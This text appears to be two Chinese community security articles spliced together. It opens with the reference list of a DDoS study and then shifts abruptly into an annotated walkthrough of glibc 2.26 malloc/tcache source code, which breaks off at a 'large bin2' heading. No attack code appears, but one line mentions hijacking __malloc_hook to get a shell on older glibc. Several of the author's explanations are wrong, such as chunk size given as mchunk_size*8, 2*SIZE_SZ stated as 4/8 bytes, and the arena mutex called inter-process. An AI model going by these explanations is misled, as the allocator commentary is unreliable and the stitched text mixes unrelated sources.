这篇文章是自己对DDOS学习的一个总结，当中参考了不少文章书籍，当然还有很多类型的DDOS文中未提及，需要再深入学习，文中若有原理性错误，还望大家指出修正。如果大家有什么好的书籍或关于这方面的资料，欢迎推荐、交流(QQ：379032449)，文章仅用于研究，切勿用在非法用途。在下一篇文章中，我将还原大部分DDOS攻击的场景。
参考：
[CC攻击](http://www.jianshu.com/p/dff5a0d537d8)
[HTTP FLOOD](https://www.incapsula.com/ddos/attack-glossary/http-flood.html)
[UDP FLOOD](https://www.incapsula.com/ddos/attack-glossary/udp-flood.html)
[SNMP
GETBULK](https://www.webnms.com/snmp/help/snmpapi/snmpv3/snmp_operations/snmp_getbulk.html)
[SMURF DDOS ATTACK](https://www.incapsula.com/ddos/attack-glossary/smurf-attack-ddos.html)
[DNS Amplification
AttACK](https://wenku.baidu.com/view/436588f4f61fb7360b4c65a1.html)
[NTP Amplification AttACKs Using CVE-2013-5211](https://www.us-cert.gov/ncas/alerts/TA14-013A)
[SNMP REFLECTION/AMPLIFICATION](https://www.incapsula.com/ddos/attack-glossary/snmp-reflection.html)
[How To Mitigate Slow HTTP DoS AttACKs in Apache HTTP
Server](https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate-apache-http-server/)
[How to Protect Against Slow HTTP
AttACKs](https://blog.qualys.com/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks)
[Temporal Lensing and its Application in Pulsing Denial-of-Service
Attacks](http://icir.org/vern/papers/lensing.oak15.pdf)
《TCP-IP协议族(第4版)》
《破坏之王-DDoS攻击与防范深度剖析》 | 社区文章 |
glibc2.26开始引入了tcache的技术，提升了堆管理的性能。本文根据glibc2.26的源码介绍含tcache技术的Linux堆分配原理。
# 基本概念
## arena
以前的Linux使用的ldmalloc只支持单线程的堆分配，现在的ptmalloc2支持多线程的堆分配，因为它给每个线程分配了一块内存区，这个内存区就叫做arena。（其实arena的数量是有限制的，当线程数大于arena的数量上限的时候就会有线程共用arena）
## bin
为了更有效率地分配空闲的堆内存，ptmalloc2把空闲的chunk进行了分类，并用链表把不同类的chunk串起来就形成了bin。不同类的chunk组成的bin有不同的名字：fast
bin, unsorted bin, small bin, large bin，这些bin的不同之处将在后面源码分析的部分说明。
# 基本结构
## malloc_chunk
`malloc_chunk`结构用来表示一个chunk，代码中的注释对其解释得很详细了，总体意思就是说：当当前chunk被使用时，只有`mchunk_prev_size`和`mchunk_size`正常使用，其余部分全部用来存储用户数据，下一个chunk的`mchunk_prev_size`也用来存用户数据；当当前chunk空闲时，`fd`指向下一个chunk，`bd`指向上一个chunk，下一个chunk的`mchunk_prev_size`存的是当前chunk的size。另外，因为`mchunk_size`的低三位被用来存储是否属于主线程、是否由mmap分配、上一个chunk是否被使用等信息，所以`mchunk_size*8`才是当前chunk的真实大小。这样的结构设计充分利用了空间，当chunk被使用时是没有在链表中的，所以不需要指针，与它物理相邻的下一个chunk也不需要通过`mchunk_prev_size`来找到它，所以下一个chunk的`mchunk_prev_size`的空间也被用来存储数据。
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
/*
malloc_chunk details:
(The following includes lightly edited explanations by Colin Plumb.)
Chunks of memory are maintained using a `boundary tag' method as
described in e.g., Knuth or Standish. (See the paper by Paul
Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a
survey of such techniques.) Sizes of free chunks are stored both
in the front of each chunk and at the end. This makes
consolidating fragmented chunks into bigger chunks very fast. The
size fields also hold bits representing whether chunks are free or
in use.
An allocated chunk looks like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Where "chunk" is the front of the chunk for the purpose of most of
the malloc code, but "mem" is the pointer that is returned to the
user. "Nextchunk" is the beginning of the next contiguous chunk.
Chunks always begin on even word boundaries, so the mem portion
(which is returned to the user) is also on an even word boundary, and
thus at least double-word aligned.
Free chunks are stored in circular doubly-linked lists, and look like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The P (PREV_INUSE) bit, stored in the unused low-order bit of the
chunk size (which is always a multiple of two words), is an in-use
bit for the *previous* chunk. If that bit is *clear*, then the
word before the current chunk size contains the previous chunk
size, and can be used to find the front of the previous chunk.
The very first chunk allocated always has this bit set,
preventing access to non-existent (or non-owned) memory. If
prev_inuse is set for any given chunk, then you CANNOT determine
the size of the previous chunk, and might even get a memory
addressing fault when trying to do so.
The A (NON_MAIN_ARENA) bit is cleared for chunks on the initial,
main arena, described by the main_arena variable. When additional
threads are spawned, each thread receives its own arena (up to a
configurable limit, after which arenas are reused for multiple
threads), and the chunks in these arenas have the A bit set. To
find the arena for a chunk on such a non-main arena, heap_for_ptr
performs a bit mask operation and indirection through the ar_ptr
member of the per-heap header heap_info (see arena.c).
Note that the `foot' of the current chunk is actually represented
as the prev_size of the NEXT chunk. This makes it easier to
deal with alignments etc but can be very confusing when trying
to extend or adapt this code.
The three exceptions to all this are:
1. The special chunk `top' doesn't bother using the
trailing size field since there is no next contiguous chunk
that would have to index off it. After initialization, `top'
is forced to always exist. If it would become less than
MINSIZE bytes long, it is replenished.
2. Chunks allocated via mmap, which have the second-lowest-order
bit M (IS_MMAPPED) set in their size fields. Because they are
allocated one-by-one, each must contain its own trailing size
field. If the M bit is set, the other bits are ignored
(because mmapped chunks are neither in an arena, nor adjacent
to a freed chunk). The M bit is also used for chunks which
originally came from a dumped heap via malloc_set_state in
hooks.c.
3. Chunks in fastbins are treated as allocated chunks from the
point of view of the chunk allocator. They are consolidated
with their neighbors only in bulk, in malloc_consolidate.
*/
## heap_info
`heap_info`结构用来表示一个堆，主要被用于非主线程中，因为主线程中只有一个堆，而非主线程可以调用mmap来创建多个堆，这些堆就通过`prev`指针串起来。
/* A heap is a single contiguous memory region holding (coalesceable)
malloc_chunks. It is allocated with mmap() and always starts at an
address aligned to HEAP_MAX_SIZE. */
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
## malloc_state
`malloc_state`用来表示一个arena，所以每个arena中只有一个`malloc_state`结构。
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);//用于进程间的互斥，同一个arena同时只能被一个进程访问
/* Flags (formerly in max_fast). */
int flags;//表示arena是否存在fastbin或者内存是否连续等信息
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
//一个用来存放所有fastbin链表的数组,最多10个fastbin链表
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;//指向top chunk
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;//指向last_remainder
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];//存放除fastbin的所有bin
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;//指向下一个arena
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;//指向下一个空闲的arena
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;//使用本arena的线程的数量
/* Memory allocated from the system in this arena. */
//分配给本arena的内存范围
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
## tcache_entry
当chunk空闲时`tcache_entry`就会存放在chunk的用户数据部分，并指向下一个`tcache_entry`,
因此`next`指向的就直接是用户数据的开始，也对应chunk的`fd`指针
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
## tcache_perthread_struct
`tcache_perthread_struct`用于存放所有的entries链，`counts`表示每条entries链的`tcache_entry`的数量，`entries`指向每条entries链的第一个`tcache_entry`
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# 关键函数
## __libc_malloc
即`malloc`函数，调用了`tcache_init`, `tcache_get`, `_init_malloc`等关键函数，这些函数将在后面讲解
void *
__libc_malloc(size_t bytes)
{
mstate ar_ptr;
void *victim;
//在malloc之前先调用__malloc_hook函数，如果__malloc_hook不为空的话
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
//tbytes为真实申请的字节数
//checked_request2size调用request2size对tbytes进行了赋值，并进行了检查
size_t tbytes;
checked_request2size(bytes, tbytes);
size_t tc_idx = csize2tidx(tbytes);//csize2tidx返回索引
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
MAYBE_INIT_TCACHE();//调用tcache_init进行tcache的初始化
DIAG_PUSH_NEEDS_COMMENT;
//如果索引合法并且对应entries里有chunk则调用tcache_get返回chunk
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache && tcache->entries[tc_idx] != NULL)
{
return tcache_get(tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
//如果为单线程直接调用_int_malloc在main_arena中分配chunk
if (SINGLE_THREAD_P)
{
victim = _int_malloc(&main_arena, bytes);
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
&main_arena == arena_for_chunk(mem2chunk(victim)));
return victim;
}
//寻找可用的arena并分配chunk
arena_get(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
//如果找到了可用的arena但chunk分配不成功则重新寻找和分配
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
//解锁arena
if (ar_ptr != NULL)
__libc_lock_unlock(ar_ptr->mutex);
//安全检查
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim)));
return victim;
}
在glibc2.26之前的版本中(如glibc2.25)，没有`#if
USE_TCACHE...#endif`和判断单线程的那些代码。另外在这些glibc版本中可以通过修改`__malloc_hook`的值来getshell，但是在glibc2.34中已经将`__malloc_hook`,
`__realloc_hook`,`__memalign_hook` ,`__free_hook`等API删除。
## tcache_init
tcache的初始化函数，主要就是利用malloc的内存分配原理给tcache分配内存，完成初始化
static void
tcache_init(void)
{
//本部分与__libc_malloc的后半段基本一致，就是给tcache分配sizeof(tcache_perthread_struct)大小的内存，完成初始化
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
## tcache_get
在`__libc_malloc`中判断索引为`tc_idx`的entries中有可用的chunk后调用本函数取出对应的chunk
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];//找到索引为tc_idx的entries，并暂存给e
assert (tc_idx < TCACHE_MAX_BINS);//确保tc_idx小于TCACHE_MAX_BINS
assert (tcache->entries[tc_idx] > 0);//确保entries非空
tcache->entries[tc_idx] = e->next;//把e踢出链表
--(tcache->counts[tc_idx]);//链表里的chunk数减一
return (void *) e;//e即要找的chunk，因为e指向的就是chunk的用户数据，所以直接返回e
}
## _int_malloc
本函数就是Linux堆分配的主要内容，由于代码较长，所以分段分析。
开始先对申请的字节数做对齐处理，使得申请的最小内存大小必须是`2*SIZE_SZ`（32位下为4,
64位下为8）的最小整数倍，再判断当前的arena是否可用，如果不可用则调用sysmalloc申请内存
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */
mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */
mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */
#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif
/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/
//将申请的字节数bytes根据2*SIZE_SZ对齐转换成实际分配的字节数nb
//并做了一些安全检查，确保不会溢出
checked_request2size (bytes, nb);
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
//如果当前的arena不可用，就用调用sysmalloc向操作系统直接申请nb大小的内存返回
if (__glibc_unlikely (av == NULL))
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
...
}
### fast bin
fast bin存储在fastbinY数组中，一共有10个，每个fast
bin都是一个单链表，只用fd将各个chunk串起来。每个单链表中的chunk大小是一样的，这样在找特定大小的chunk的时候就不用挨个找，只需要计算出对应链表的索引即可，提高了效率。如fastbinY[0]中存储的链表里都是16字节大小的chunk（以32位系统为例），之后每个链表增加8个字节，所以最后一个fast
bin中存储的是88字节的chunk。另外，fast bin使用的是LIFO算法（即后入先出），这样刚被释放的chunk最先被分配，利用了局部性原理。
fast bin是除tcache外优先级最高的，如果fas tbin中有满足需求的chunk就不需要再到small bin和large
bin中寻找。当在fast
bin中找到需要的chunk后还将与该chunk大小相同的所有chunk放入tcache，目的就是利用局部性原理提高下一次内存分配的效率。
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd, victim)) != victim);
//判断实际分配的chunk大小是否满足fastbin的要求
//即小于等于MAX_FAST_SIZE(在32位中是80，在64位中是160)
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast()))
{
idx = fastbin_index(nb);//寻找在fastbin数组中对应的索引
mfastbinptr *fb = &fastbin(av, idx);//链表头指针
mchunkptr pp;
victim = *fb;//将链表的第一个chunk作为victim取出，插入时也插入在链表头，即LIFO
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;//即将victim从链表中取出
else
REMOVE_FB(fb, pp, victim);//也是将victim从链表中取出，fb指向下一个chunk
//确保分配的chunk属于刚才找到的fastbin链表
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0))
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
//将大小为nb的chunk放到tcache里
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins)//mp_.tcache_bins=64
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
//当对应tcache链没有满并且要放入tcache的chunk（即刚才被拿出去的chunk的下一个chunk）不为空
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)//mp_.tcache_count=7,即tcache的链表最多7个chunk
{
//同上，从链表中取出tc_victim
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);//将取出的chunk放入对应的tcache链表
}
}
#endif
//返回从fastbin中找到的chunk
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}
### small bin
small bin存储在bins数组中，下标为2到63，一共62个，和fast bin一样，每个small
bin中的chunk都是相同的大小，下标为2的small bin中存储的是16个字节的chunk，之后一次增加8个字节，所以下标为63的small
bin中存储的是504个字节的chunk（以32位系统为例）。与fast bin不同的是，small
bin是一个双向循环链表，且采用FIFO（先进先出）算法。
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range(nb))//即小于MIN_LARGE_SIZE(在32位下为512，在64位下为1024)
//所以small bin中最大的chunk为504字节和1008字节
{
idx = smallbin_index(nb);//算出对应的small bin索引
bin = bin_at(av, idx);//找到对应的small bin链表
//如果small bin链表头的上一个chunk（即链表的最后一个chunk，small bin链表是双向循环链表）
//不等于它自己，即该small bin链表非空
//取链表的最后一个chunk作为victim，即FIFO
if ((victim = last(bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate(av);//合并fastbin到unsortedbin
else
{
bck = victim->bk;//倒数第二个chunk
//确保倒数第二个chunk的fd指向最后的chunk
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): smallbin double linked list corrupted");
//将victim下一个chunk的PREV_INUSE位置1，即标记victim为被使用状态
set_inuse_bit_at_offset(victim, nb);
//将victim从链表中取出
bin->bk = bck;
bck->fd = bin;
//如果不是main_arena将NON_MAIN_ARENA位置1
if (av != &main_arena)
set_non_main_arena(victim);
check_malloced_chunk(av, victim, nb);
#if USE_TCACHE
//与fast bin中那部分相似，都是将所有大小为nb的chunk放入tcache中
//不同的是在本部分中chunk放入tcache之前将该chunk标记为使用中
//而fast bin的那部分没有
//说明tcache和fast bin中的chunk尽管空闲还是都被标记为使用中
//目的是防止相邻的chunk合并
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset(tc_victim, nb);
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put(tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}
### large bin1
这部分并不是真正地使用large bin，只是计算出了对应的large bin的索引，并调用`malloc_consolidate`函数合并fast
bin，目的是减少堆中的碎片。
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index(nb);//算出对应的large bin的索引
//合并 fast bin 到 unsorted bin
if (atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
}
### unsorted bin
unsorted bin也存储在bins数组中，下标为1，所以只有一条unsorted bin链表。unsorted
bin也是双向循环链表，但是链表里的chunk大小没有限制，任何大小的chunk都可以放到unsorted
bin链表中，也没有顺序，采用的算法也是FIFO。
遍历unsorted bin的所有chunk，如果unsorted
bin中只有一个chunk且为last_remainder时，就拆分last_remainder，并返回；否则如果当前chunk大小是所需的大小则先尝试放入tcache再返回，否则就将当前chunk放入对应的bin中，如果tcache已经有足够多的chunk则从tcache中返回chunk。当遍历完后，再判断是否有chunk被放入tcache，如果有则从tcache中返回chunk。
/*
Process recently freed or remaindered chunks, taking one only if
it is exact fit, or, if this a small request, the chunk is remainder from
the most recent non-exact fit. Place other traversed chunks in
bins. Note that this step is the only place in any routine where
chunks are placed in bins.
The outer loop here is needed because we might not realize until
near the end of malloc that we should have consolidated, so must
do so and retry. This happens at most once, and only when we would
otherwise need to expand memory to service a "small" request.
*/
//tcache变量定义及初始化
#if USE_TCACHE
INTERNAL_SIZE_T tcache_nb = 0;
size_t tc_idx = csize2tidx(nb);//nb对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)
tcache_nb = nb;
int return_cached = 0;//用于标记是否有合适大小chunk在下面的过程中被放入tcache
tcache_unsorted_count = 0;//被处理过的unsorted chunk的数量
#endif
for (;;)//大循环
{
int iters = 0;
//unsorted bin非空
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//倒数第二个chunk
//victim的大小非法
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr("malloc(): memory corruption");
size = chunksize(victim);//victim的大小
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range(nb) && //如果请求的大小在small bin的范围内
bck == unsorted_chunks(av) && //并且unsorted bin中只有一个chunk
victim == av->last_remainder &&//并且该chunk就是last remainder
//并且在该chunk中拿走nb的内存后依然可以成为一个chunk
(unsigned long)(size) > (unsigned long)(nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;//剩余部分的大小
remainder = chunk_at_offset(victim, nb);//剩余部分的起始地址
//将剩余部分取代原来的chunk放入unsorted bin链表中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果剩余部分过大则将fd_nextsize和bk_nextsize指针置空
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
//设置victim的头部
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置剩余部分的头部
set_head(remainder, remainder_size | PREV_INUSE);
//设置剩余部分的尾部
set_foot(remainder, remainder_size);
//返回victim
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
/* remove from unsorted list */
//将victim移出链表
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
if (size == nb)//如果victim的大小正好是要求的大小
{
//设置标识位
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
set_non_main_arena(victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
//如果tcache没满就优先把victim放入tcache，而不是返回给用户
if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put(victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
//返回victim
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
/* place chunk in bin */
//如果victim的大小在small bin的范围内就放入small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
}
else //否则就放入large bin中
{
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)//如果large bin链表不为空
{
/* Or with inuse bit to speed comparisons */
//将PREV_INUSE置1，加速比较
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
//确保bck->bk在main arena中
assert(chunk_main_arena(bck->bk));
//如果victim比链表中的最后一个也就是最小的一个还小，就直接插入最后
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert(chunk_main_arena(fwd));
//找到第一个不大于victim的chunk，即找victim的位置
while ((unsigned long)size < chunksize_nomask(fwd))
{
fwd = fwd->fd_nextsize;
assert(chunk_main_arena(fwd));
}
//如果victim和找到的chunk一样大就不用插入nextsize循环链表
if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//victim插在与之相同大小的chunk的后面
else //如果victim和找到的chunk不一样大就需要插入nextsize循环链表
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
//如果large bin链表为空，直接插入，让victim的fd_nextsize和bk_nextsize都指向自己
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//利用之前找到的bck和fwd的值将victim插入循环链表中
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//如果已经将足够多的chunk放入tcache就直接从tcache中找到chunk并返回
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get(tc_idx);
}
#endif
#define MAX_ITERS 10000
//wille循环最多10000次
if (++iters >= MAX_ITERS)
break;
}
//while循环结束后判断是否有chunk被放进tcache，如果有就从tcache中取出chunk并返回
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get(tc_idx);
}
#endif
在这个遍历unsorted bin的过程中，不仅找了所需大小的chunk，还对unsorted
bin中的chunk进行了整理，把他们分别分配到了各自该在的bin中，这也是给chunk找家的唯一代码。
到这里，用到tcache的地方就结束了，可以看到放入tcache中的所有chunk都是和被需要的chunk相同大小的，这是因为在很多情况下，刚被需要的内存块大小有更大的概率被继续需要，所以在tcache链未满的情况下把所有与被需要的内存块大小相同的chunk放入tcache，并在分配时优先从tcache中找，可以有效地提高内存分配的效率。
### large bin2
